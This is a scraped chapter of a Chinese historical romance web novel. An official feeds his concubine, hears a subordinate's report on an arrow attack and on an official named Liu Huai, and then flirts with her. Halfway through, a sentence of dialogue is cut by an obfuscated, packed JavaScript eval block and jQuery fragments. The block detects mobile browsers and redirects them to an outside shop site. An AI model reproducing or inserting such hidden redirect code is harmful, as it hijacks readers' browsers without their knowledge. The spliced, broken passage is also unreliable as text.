默认冷灰
24号文字
方正启体

6. 多吃点

作者:天衍知行本书字数:K更新时间:
    谢淮钏面前的碟子上直到此时都未沾任何油腥,筷子夹来的菜全都进了叶清沫碗中,堆成了一座小山。


    他望着对方显得单薄的身子,又夹了一道菜:“多吃点。”


    叶清沫颇为后悔,早知方才便不多嘴了,她不过说了句很好吃,对方从先前便一直往她碗里夹菜。


    将最后一口鱼肉咽下,她捂着肚子,面上故作一副难受的模样,语气幽怨道:“实在吃不下了。”


    她将碟碗往旁边推了推,表示抗拒,自己虽然从未像今日这般吃得这样饱过,但她发现居然尚可,并没有觉得很撑。


    “是吗?”谢淮钏瞧见那碟中还剩下一大半的饭菜,直接拖到面前吃了起来。


    叶清沫哪敢让谢大人吃自己剩下的,让人听去怕不是要被戳脊梁,连声道,“大人,不可……”


    她刚想说如此行事有失体面,门外却传来周全印的声音:“大人,属下有要事禀报。”


    见谢淮钏放下筷子,叶清沫重重松了口气。


    可若是自己没看错,谢大人神色看起来似乎有些……不耐?


    她也不知道如何形容,但那一瞬给她的感觉,就像是失眠许久的人刚要入睡时却突然被吵醒。


    叶清沫望着面前满桌精巧的菜肴,怔怔出神。


    难道……谢大人还有爱投喂的癖好?


    念及此,她倒是恍然,不论是那匹玄马还是黑羽似乎都被大人养的极好。


    不知为何,先前还认为饱腹感尚可,此间却是觉得腹胀起来。


    谢淮钏瞥了眼身旁正在神游的人,神情愣愣的,透着抹憨然,瞧来颇为有趣。


    想亲。


    但想到门外还候着一位呆木般的手下,不由皱眉。


    他闭了闭眼,恢复了先前那般辨不出任何情绪的面容,淡淡开口:“进。”


    周震得了话,径直推门而入,抬手作揖。


    刚想开口,余光却瞥见一抹倩影,那人正是昨日刚抬进门的叶家女叶姨娘。


    他默默住了嘴,垂眼不敢再看。


    心里却是无比困惑,谢大人警惕心颇重,同人一道用膳这事素来是大人的禁区,往日在谢府上连谢尚书的话都不会多听,将府中规矩视若无物。


    这我行我素惯了,便更为不喜别人窥及隐私。


    “无妨。”谢淮钏按住想起身离去的叶清沫,随意道,“有事便说。”


    周全印没再犹豫,脑中思绪翻飞,禀道,“大人,刘怀那边有动静了。”


    “他最近正和杭州李家的人接触,李茂才虽然退婚回了杭州,但他的管事还在雍和郡。有人看见,那管事三日前进了刘府后门,待了半个时辰才出来。”


    早在谢淮钏到雍和郡之前就命人快马加鞭先一步抵达,只为调查刘怀此人。


    现在倒是没想到竟还同那李茂才有关联,他眉眼沉沉:“他要做什么?”


    周震停顿片刻,将查出的所有情报都在脑中迅速过了一遍,却一无所获,只好如实禀道:“属下失职,对方那些账册做得太干净,瞧不出错处。”


    谢淮钏没有说话,账做得太干净,本身就是问题。


    此番明面上虽是来此地下察,却是在暗线那得知,他的好叔父隐得最深的心腹正在雍和郡。


    据说是想联合董家谋划大事,这番热闹,自己怎能不来掺和一脚。


    他端起桌边放置的茶盏,温度刚好,“那枚箭矢来历查到了吗?”


    叶清沫从方才便努力降低自己的存在感,甚至都不敢多瞧,耐不住这些话偏要往脑中钻。


    平日在叶家,凡是家中来了客,或是父亲有官中好友前来寻访,是从不会允许有外人在场的。


    觉得女子听政,是为大忌,有损官运。


    记得有次自己无意从门前经过,尚不知叶父同人论事,便被好生教训了一番,日夜罚抄家规。


    她垂眼,心间发颤,只求周知事说得都是些无关紧要的事。


    周全印点头,心中早打好了腹稿:“是张家庶子张临,对方跑得很快,走暗道出城时被咱们的探子抓了个正着,现在已经在审问了。”


    “但……”他面色颇为古怪,“此事说来也有蹊跷,里面也同那刘怀有牵扯。”


    叶清沫心头一跳,下意识偏头望向身侧的谢淮钏。


    男人松散的乌发垂落,眉眼淡然,倒是平静,此间望着正在汇报的周全印,视线却落不到实处,目露思索,陷入沉默。


    叶清沫自是不会忘,反而记得很深,那只箭曾险些让自己坠马。


    若不是谢大人……


    念及此,思绪却是发散开,刚想收回视线,对方竟垂眸望了过来。


    那双眼幽深如墨,分明平淡无波,却是令人沉沦。


    此刻似乎又带着些别的情绪,让她难以分清。


    谢淮钏挪开视线,面色不变,只道:“有何牵扯?”


    周震声音压低,语气顿挫有力:“那支箭是从半亩塘东侧的柳林里射出的,属下派人顺着痕迹追查,发现那片柳林连着城东的一处私宅。”


    “可这宅院明面上虽是挂在李茂才名下,但属下仔细查过,那宅子早在两年前便一直是个姓张的商人在借住。”


    “张?”


    “是。”周震顿了顿,“此人表面是经营绸缎生意,实则与雍和郡同知刘怀有旧,而刘怀刚好是三年前调任雍和,也在同年成了谢尚书门生。”


    这谢尚书谢遂大人叶清沫还是有所耳闻的,对方是谢家的现任家主,也是谢淮钏的叔父。


    谢淮钏沉默片刻,忽然轻笑一声,却不着丝毫笑意,泛着冷然,扎在耳中生疼。


    “刘怀。”他缓缓念出,“我记得,去年考课,他是优等。”


    “是,当时他的考评是大人亲笔批的。”


    谢淮钏没再说话,他端起茶盏,抿了一口,茶水早已凉却,含在嘴里泛出一抹苦意,仿佛在听一件无关紧要的事。


    可叶清沫注意到,他捏着茶盏的手极为用力,指尖泛着白。


    “行了,下去吧。”谢淮钏挥手让对方退下,只最后嘱咐道,“好好审张临,明早带他一起来。”


    “是。”


    周全印躬身退下,将门带上。


    堂中陷入片刻寂静,叶清沫如坐针毡,望向桌上早已没了热气的饭菜,道:“可要让人拿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288379|198479||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去热热?”


    刚起身,手腕却被谢淮钏拉住,身子一个不稳,竟直直坐在了对方怀中。


    “无妨。”他垂眼,额头抵在叶清沫肩侧,语气显得有些疲惫,“明日你也一起来。”


    “为何?”她面带困惑,“方才那些事,妾身也不知是否重要,但想来也是不便同外人知晓的吧?”


    “如此不设防得同妾身晓得,”叶清沫抿唇,这番话虽然有自毁名声的意思,却仍是一同道了出来,“就不怕被泄露,坏了大事?”


    她小心抬眼,由于自己正坐在对方怀中,不过一抬头,二人呼吸便缠在了一起。


    一股似樟木的檀香味萦绕在鼻尖,她说不出名字,却觉得极为好闻,令人沉醉上瘾。


    两人身上都只披了间单薄的寝衣,此番贴在一块,好似置身温泉,夜间带来的凉意被驱散,浑身腾着热意。


    凑近了,叶清沫才发现对方除了那对极为深邃的眉眼外,高挺鼻梁下的薄唇,倒是同他这个人一般,虽透着一抹薄凉,却又有种勾人心魄的诱惑。


    令人挪不开眼。


    可待她看见对方那皱起的眉间,神色不悦的模样,叶清沫却是害怕了。


    是啊,谢大人怎会不知道这些?让自己去便去了,此刻说出来倒是显得多嘴,扰了心情。


    她嗫喏着唇,却是说不出一句话,下意识想起身,腰间的手却是箍得更紧了,叫她动弹不得。


    “一时改不过来也无碍。”谢淮钏低垂着眼,拇指抵着她的唇角,“往日在我面前,不必称妾。”


    叶清沫不解,如此岂不是僭越了,换在他处,可就是自己不讲规矩,不知礼数了。


    但既然谢大人要求,她也不敢再多说了,心中却是松了口气。


    叶清沫应了一声,觉得对方着实是让人摸不清心思,比那传闻有过之而无不及。


    “至于你刚才说的,”谢淮钏眯起眼,凑在她耳边,炙热的呼吸让她脖颈泛起一抹痒意。


    随着对方的一字一句说出的话,她羞愤地脑子一片空白,再也想不得许多,慌乱抬手捂住对方的嘴。


    “不许再说了!”叶清沫整张脸羞的通红,那些话,对方是怎么能说得出口的。


    什么铁面阎王,依她看来,分明就是个厚颜无耻的浪荡子。


    “夫人就说是与不是?”谢淮钏也没躲,嘴唇磨过对方的掌心,往日清朗的嗓音此刻像是被罩住,沙哑低沉,“如此多亲密的事都做过了,有何不能相信的?”


    “除了没有真的……”


    话还未说完,或许是对方一直给她的感觉都未有传闻中那般严厉骇人,甚至待她不差,没什么架子。


    总之,叶清沫此时将所有规矩和礼数都抛在了脑后,双手死死捂住对方的嘴,然后……


    两指一捏,夹住。


    待做完这些,她才有些后悔了,神态慌乱,连忙松开手。


    谢淮钏却是将她抽离的手握住,就这么定定地瞧了片刻。


    其实他早该想到,早在瞧见过这张素来端着清冷淡然的脸染上红晕,那对疏离的杏眼因他覆上一层雾汽后,自己那可笑的自制力便溃不成军了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)